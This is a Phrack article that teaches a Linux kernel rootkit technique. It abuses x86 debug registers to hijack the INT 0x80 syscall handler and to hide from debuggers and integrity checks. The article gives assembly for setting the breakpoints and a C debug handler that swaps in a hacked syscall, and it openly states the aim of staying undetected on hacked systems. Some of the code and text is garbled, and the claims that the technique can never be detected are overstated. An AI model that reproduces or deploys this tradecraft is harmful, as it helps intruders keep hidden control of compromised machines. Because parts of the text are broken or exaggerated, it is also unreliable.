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.:: Mystifying the debugger for ultimate stealthness ::.

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Current issue : #65 | Release date : 2008-11-04 | Editor : TCLH
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Mystifying the debugger for ultimate stealthnesshalfdead
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Title : Mystifying the debugger for ultimate stealthness
Author : halfdead
                             ==Phrack Inc.==

               Volume 0x0c, Issue 0x41, Phile #0x08 of 0x0f

|=---------------------=[ Mistifying the debugger, ]=--------------------=|
|=---------------------=[   ultimate stealthness   ]=--------------------=|
|=------------------------=[ halfdead@phear.org ]=-----------------------=|

--[ Introduction 

Over the years, there have been a plethora of techniques and methods of
hiding one's presence in a hacked system. Many of them were focused on
directly tampering the system call table, others were modifying the
interrupt handler, while others were operating at the VFS layer. But all 
of them were modifying the underlying operating system in a very visible
manner, making them easily detected. 

In the article I will present a technique that is able to achieve ultimate 
stealthness in kernel rootkits, by using a common x86 feature, the 
debugging mechanism. Although it works on any IA-32 compatible platform, 
the following technique will be detailed for Linux operating system and I 
will show you how one can intercept the normal flow of execution without 
touching the "classical" hooking targets. In fact, this technique can be
so good that no one will ever notice our presence.

When we refer to "debugger" in this article, we actually mean the IA-32
debugging mechanism, which is only accessible from ring zero. Userland
debuggers don't make use of this mechanism, only some kernel debuggers 

--[ The debugger

        "The IA-32 architecture provides extensive debugging
        facilities for use in debugging code and monitoring
        code execution and processor performance. These
        facilities are valuable for debugging applications
        software, system software, and multitasking operating

In order to make life easier for developers, Intel introduced a mechanism
that was intented to manage the debugging process. This mechanism is 
handled by a set of special registers (called 'debugging registers, 
DR0..DR7) which  allow the user to set hardware breakpoints on memory 
addresses. As soon as the execution flow hits an address marked with a 
breakpoint, it hands the control to the debug interrupt handler (INT 1), 
which calls the do_debug() function (defined in ../i386/kernel/traps.c) to 
take care of the actual situation that raised the exception. 

The debugging support is accessed through the debug registers (DB0 through
DB7) and two model-specific registers (MSRs). For the purpose of this paper
we will only focus on the debug registers. These registers hold the 
addresses of memory and I/O locations, called breakpoints. Breakpoints are
user-selected locations in a program, a data-storage area in memory, or 
specific I/O ports  where a programmer or system designer wishes to halt 
execution of a program and examine the state of the processor by invoking 
debugger software. 

A debug exception (#DB) is generated when a memory or I/O access is made 
to one of these breakpoint addresses. A breakpoint is specified for a 
particular form of memory or I/O access, such as a memory read and/or 
write operation or an I/O read and/or write operation. The debug registers 
support both instruction breakpoints and data breakpoint. The MSRs (which 
were introduced into the IA-32 architecture in the P6 family processors)
monitor branches, interrupts, and exceptions and record the addresses of 
the last branch, interrupt or exception taken and the last branch taken 
before an interrupt or exception.

--[ The debug registers

There are 8 debug registers supported by the Intel processors, which 
control the debug operation of the processor. These registers can be 
written to and read using the move to or from debug register form of 
the MOV instruction. A debug register may be the source or destination 
operand for one of these instructions. The debug registers are privileged
resources; a MOV instruction that accesses these registers can only be 
executed in real-address mode, in SMM, or in protected mode at a CPL 
of 0. An attempt to read or write the debug registers from any other 
privilege level generates a general protection exception.

The primary function of the debug registers is to set up and monitor 
from 1 to 4 breakpoints, numbered 0 though 3. The debug mechanism allows
us to manage the breakpoints through two special registers, DR6 and DR7,
which I will describe in detail later on.  For each breakpoint, the 
following information can be specified and/or detected with the debug 
	- The linear address where the breakpoint is to occur.
 	- The length of the breakpoint location (1, 2, or 4 bytes).
 	- The operation that must be performed at the address for a debug 
	  exception to be generated.
	- Whether the breakpoint is enabled.
	- Whether the breakpoint condition was present when the debug 
	  exception was generated.

-------[ Debug address registers

Each of the debug-address registers (DR0-DR3) holds the 32-bit linear
address of a breakpoint. Breakpoint comparisons are made before physical
address translation occurs.

-------[ Debug registers DR4 and DR5

Debug registers DR4 and DR5 are reserved when debug extensions are enabled 
(the DE flag in control register CR4 is set), and attempts to reference 
these registers will raise an invalid-opcode exception. When the DE flag 
is not set, these registers are aliased to DR6 and DR7.

------[ Debug status register (DR6)

This special register is used to report the debug conditions that existed 
at the time the last debug exception occured. The flags in this register
show the following information:

	- B0..B3 (bits 0..3) indicate that a breakpoint condition was
	  detected. These flags are set if the condition described
	  for each breakpoint by the LENn, and R/Wn flags in debug 
	  control register DR7 is true. They are set even if the 
	  breakpoint is not enabled by the Ln and Gn flags in register 

	- BD (bit 13) (debug register access detected) indicates that the 
	  next instruction in the instruction stream will access one of the
	  debug registers (DR0..DR7). This flag is enabled when the general
	  detect (GD) flag in debug control register DR7 is set.

	- BS (bit 14) (single step) indicates (when set) that the debug
	  exception was triggered by the single-step execution mode.
	- BT (bit 15) (task switch) indicates (when set) that the debug
	  exception resulted from a task switch where the debug trap flag
	  in the TSS of the target task was set.

The processor never clears the contents of DR6 register.

------[ Debug control register (DR7)

The debug control register (DR7) enables or disables breakpoints and sets
breakpoint conditions. Its flags and fields control the following things:
	- L0..L3 (bits 0, 2, 4, 6) (local breakpoint enable) enable (when 
	  set) the breakpoint  condition for the associated breakpoint for 
	  the current task. When a breakpoint condition is detected and its 
	  associated Ln flag is set, a debug exception is generated. The 
	  processor automatically clears these flags on every task switch 
	  to avoid unwanted breakpoint conditions in the new task.

	- G0..G3 (bits 1, 3, 5, 7) (global breakpoint enable) enable (when
	  set) the breakpoint condition for the associated breakpoint for 
	  all tasks. When a breakpoint condition is detected and its 
	  associated Gn flag is set, a debug exception is generated. 
	  The processor does not clear these flags on a task switch, 
	  allowing a breakpoint to be enabled for all tasks.
	- LE and GE (bits 8 and 9) (local and global exact breakpoint
	  enable) cause the processor to detect the exact instruction that 
	  caused a data breakpoint condition. Not supported in P6 family
	- GD (bit 13) (general detect enable) enables (when set)
	  debug-register protection, which causes a debug exception to be 
	  generated prior to any MOV instruction that accesses a debug register.
	  When such a condition is detected, the BD flag in debug status register 
	  DR6 is set prior to generating the exception.

	- R/W0..R/W3 (bits 16, 17, 20, 21, 24, 25, 28, and 29) (read/write) 
	  specifies the breakpoint condition for the corresponding breakpoint. 
	  For more information read the Intel manual.
	- LEN0..LEN3 (bits 18, 19, 22, 23, 26, 27, 30, and 31) (length)

--[ The magic

Ok, so we've learnt almost everything now about the IA-32 debugging 
mechanism. Where is the goodies you've promised?? Now we know a few 
important things: we can set a breakpoint on a memory address and as soon 
as execution flow hits our breakpoint, the execution is redirected to the 
debug handler (INT 1). Uhmm, so what if we replace the existing debug 
handler or one of the underlying functions with our own? As we can see 
from entry.S, 

        pushl $0
        pushl $ SYMBOL_NAME(do_debug)
        jmp error_code

the actual debug handler is a C function, do_debug() defined in traps.c.
Yes, ok, I think we are able to patch the INT 1 handler and then call
do_debug() on our own OR we could come up with our own do_debug() and 
expect to be called by the debug handler, so we rest assured that the 
IDT remains untouched. But what should our handler handle? Most obviously,
we need to check a few parameters and then pass control to the actual
operating system do_debug(). But what parameters should we monitor? Keep

------[ Hijacking the sys_call_table[]

Now you should have an idea how to hijack the syscall table making use 
onunnt on read/write/execution on targetted address in memory. This can 
be either INT 80 handler address or syscall table address, it matters
less as the effect is the same, in the end. Therefore, each time the 
operating system is going for a syscall, it will wind up in our handler. 
We have two options here: A) hijacking the INT 80 handler directly in 
IDT or B) hijacking the actual address of sys_call_table[] in memory. Any 
of them is fit for our purposes, so we will aim for A. The following 
function will return the address of INT 80 handler.

        	sidt    idtr
	        movl    idtr+2, %ebx
        	leal    (%ebx, %eax, 8), %ebx
	        movw    (%ebx), %cx
	        roll    $16, %ecx
	        movw    0x6(%ebx), %cx
	        roll    $16, %ecx
	        movl    %ecx, %eax

Once we know the address, we can set up a breakpoint as follows:
        	movl    $0x80, %eax
	        call    get_idt_entry
        	movl    %eax, %dr0
	        xorl    %eax, %eax
        	orl     $0x2080, %eax
	        movl    %eax, %dr7

As you can see, the set_bpm() function will load DR0 with memory address
where INT 80 is located and, also, will set up the according flags in DR7,
including the magic GD bit, which allows us to monitor WHO and WHY is
accessing the debug registers. This bit is very important for us because
it "causes a debug exception to be generated prior to any MOV instruction 
that accesses a debug register". Wow, do you mean...? Yeah, if SOMEONE is 
trying to read/write the debug registers, the control is passed to our 
handler BEFORE the instruction takes place. So, we know if someone, a 
debugger or some tool of the devil, is checking the debug registers, even 
before they  know it. This gives us time to cover our tracks: we can undo 
everything and wait some time for danger to pass, we can simply skip the 
instructions affecting the debug registers, etc. The best thing to do is 
to show the system clean debug registers and after a short period of time,
hook everything back to best suit our needs. The best aproach is to come 
up with a code emulator, analyzing the type of the instruction accessing 
debug registers, and based on that decide what action will follow: clean 
the debug registers and restore later or simply increase the instruction 
count so that the instruction is simply ignored. Anyway, this leaves an 
open discussion.

------[ The handler

Now, we managed to redirect the flow of execution without patching anything
in the syscall table or INT 80 handler. But still, what should our handler
handle? For starter, in its most simplistic form, our handler needs to 
check the value of the %eax register, because at this point, it contains 
the desired syscall number, and based on that it should feed the OS with 
our hacked syscall. This is how a very simple handler should look like:

asmlinkage void new_do_debug(struct pt_regs * regs, long error_code) 

  	unsigned long condition;
	unsigned long mask = 0x2008;

 	__asm__ __volatile__("movl %%db6,%0" : "=r" (condition));

  	if (condition & BD_FLAG) { /* someone is r/w the registers */
            condition &= ~BD_FLAG;
            __asm__ __volatile__ ("movl %0, %%db6" : : "r" (condition));
	    regs->eip += 3;
	    __asm__ __volatile__ ("movl %0, %%db7" : : "r" (mask));
	if (condition & DR_TRAP0) {
            if (regs->eax == __NR_time) 
	        sys_call_table[__NR_time] = hacked_time;
            if (regs->eflags & VM_MASK) {
                __asm__ __volatile__ ("movl %0, %%db7" : : "r" (mask));

            condition &= ~DR_TRAP0;
            __asm__ __volatile__ ("movl %0, %%db6" : : "r" (condition));
            __asm__ __volatile__ ("movl %0, %%db7" : : "r" (mask));
            regs->eflags |= X86_EFLAGS_RF;
            (*old_do_debug)(regs, error_code);
            __asm__ __volatile__ ("movl %0, %%db7" : : "r" (mask));


What are we doing here? First, we grab the values in the status register
(DR6) and try to figure out what triggered our handler. If our execution
comes as a result of the breakpoint we've placed, we compare the value in
%eax register to the value of the syscall we decided to hijack, which was 
sys_time() in our case. In the example provided, due to the lack of space
and time, we did a direct change of the sys_call_table[] but this is not
something to worry about as, the hacked_time() is modifying the
sys_call_table[] back to original in the instant it gets executed:

asmlinkage long hacked_time(int *tloc)
 	sys_call_table[__NR_time] = original_time;
	printk("<1>WE changed it!!\n");
 	return original_time(tloc);

Ofcourse, there are other ways of doing it without touching the syscall
table at all but take into consideration that the first thing the
hacked_time() does is changing back the value in sys_call_table[], meaning
that the actual change takes place for less than a microsecond so it 
shouldn't be a problem. 

A better method would be to analyze the parameters of the syscall, based on
the syscall number, which at the time our handler takes place is the value 
in %eax register. We could feed the hacked parameters by simply filling the
according registers. This method would create a "virtual" syscall table, 
so we don't need to touch the actual syscall table at all.

So now we learnt how to set a breakpoint on a memory address, how to enable
that breakpoint; we also learnt that we can hijack the normal execution 
flow without tampering the INT 80 handler nor the syscall table handler 
nor the syscall table itself. Yes, you can say it's a lovely technique, a 
bit of magic. But still, we modify the INT 1 handler, or at least, we patch
the do_debug() function, so we're not that stealth. Just keep reading...

---[ Blindfold

We learnt so many beautiful things by now, we take control of the system 
and no one detects a direct tampering of the kernel. We covered our tracks
thanks to the GD/BD bits so, if someone is looking at the debugging
registers we simply ignore their curiosity (regs->eip +=3). But what if
someone wants to check all the IDT for integrity? Or what if a debugger
or a similar tool needs to place its own handler on INT 1? Are we lost 
It sure looks like it.. 

But wait.. DR6 and DR7 come to rescue once more. What we need to do is the 
	- set up your handler on INT 1
	- set up the breakpoint to watch for INT 80 address
	- set a secondary breakpoint to watch on our handler's address
Oh, wait! It can't be that simple. Yes, it is! Like this, we practically
don't affect the kernel at all, for the unwanted eye. In our ideal handler,
the code emulator checks the type of the instruction that attempts to 
access debug registers, wether is the breakpoint we put on INT 80 or 
INT 1 and act accordingly. We already explained what it should do for 
hijacking INT 80, let's talk now about INT 1. By placing a secondary 
breakpoint on INT 1 or do_debug() function, we make sure that we know 
apriori when someone attempts to read the only location in the kernel 
memory we modified. The best thing to do is to make that single address 
back to original. Like this, when some devilish tool attempts to check for 
our presence in the IDT too (i don't think there any tools doing that 
outhere, but that's simply because a whitehat would've never thought it's 
necessary), we let them see the untouched value. This is "deep cover" mode.
But did we lose the control over the kernel now? Well, not really, we're 
still in control: we can "reinstall" our rootkit after a few nanoseconds, 
so they miss us every time they look at us. It's like blindfolding them. 
This technique is also helpful when dealing with a debugger 
(or similar tool) trying to place its own hook in INT 1 handler. Think 
about it: we detect the attempt and make everything back to normal, they 
place their hook, we hijack their hook as a normal INT 1 hijack and as 
soon as they check for their presence, for example, by checking the
presence of the handler, we let them see themselves. It's like chaining
hooks, or so. When I discovered that I was stunned. When I realised it
really works I was amazed. This is the ultimate stealthness, the holygrail
of hackers!

---[ Closing words

This technique has been actively used in the underground for more than 8
years now. The beauty about it: it is, in fact, a basic IA-32 feature. They
cannot defeat against it without removing the whole debug mechanism. I
decided to make it public in phrack through a "scientific" paper *g* but it
wasn't my choice: the technique leaked a while ago. I highly doubt that the
person that leaked it knows exactly what his tool is actually capable of 
and what is actually doing, so I decided to help him and any other hacker 
in the world willing to learn and improve their skills. As you have seen, 
this is one very powerful technique, allowing one to achieve full 
stealthness on a target system. Being a fundamental processor feature, 
means it can be used on ANY operating system running on IA-32 and also, 
there is no way of detecting or protecting against it, even if it is not 
0day anymore ;(

---[ Kudos

halvar, twiz, reverser, sd and the rest of the digitalnerds
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